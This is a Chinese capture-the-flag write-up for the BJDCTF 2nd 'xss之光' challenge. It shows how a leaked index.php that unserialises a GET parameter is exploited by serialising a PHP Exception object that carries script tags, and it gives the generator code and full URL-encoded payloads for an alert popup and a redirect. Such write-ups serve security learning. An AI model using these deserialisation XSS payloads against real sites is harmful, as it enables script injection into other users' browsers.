[BJDCTF 2nd]xss之光

[BJDCTF 2nd]xss之光

进入网址之后发现存在.git泄露，将源码下载下来，只有index.php文件

<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);

　　GET传参给yds_is_so_beautiful，接着传入的参数会被反序列化后输出，跟题目结合，可以知道当反序列化的结果是

<script>alert(1)</script>

　　就会让1以弹窗形式显示出来，但是在代码中没有给出类来，所以我们只能使用PHP的原生类来序列化构造XSS，具体文章可以看：

http://blog.ydspoplar.top/2020/03/17/php%E5%8F%AF%E5%88%A9%E7%94%A8%E7%9A%84%E5%8E%9F%E7%94%9F%E7%B1%BB/

我们选择其中一个可用的原生类

<?php
$a = new Exception("<script>alert(1)</script>");
echo urlencode(serialize($a));

　　获得序列化后的结果，再url编码，得到：

O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D

　　GET传参之后成功弹窗

 但是burpsuite抓的响应包里还是没有flag，好像是因为题目源码被改了一部分的原因？需要使用XSS跳转才能拿到flag

<?php
$a = new Exception("<script>window.location.href='https://www.baidu.com'</script>");
echo urlencode(serialize($a));

　　构造跳转，序列化并url编码后为：

O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A61%3A%22%3Cscript%3Ewindow.location.href%3D%27https%3A%2F%2Fwww.baidu.com%27%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D

　　burpsuite抓包，响应头里面获得flag

参考博客：

http://blog.ydspoplar.top/2020/03/17/php%E5%8F%AF%E5%88%A9%E7%94%A8%E7%9A%84%E5%8E%9F%E7%94%9F%E7%B1%BB/

http://cyzcc.vip/2020/03/24/BJDCTF-2nd-web/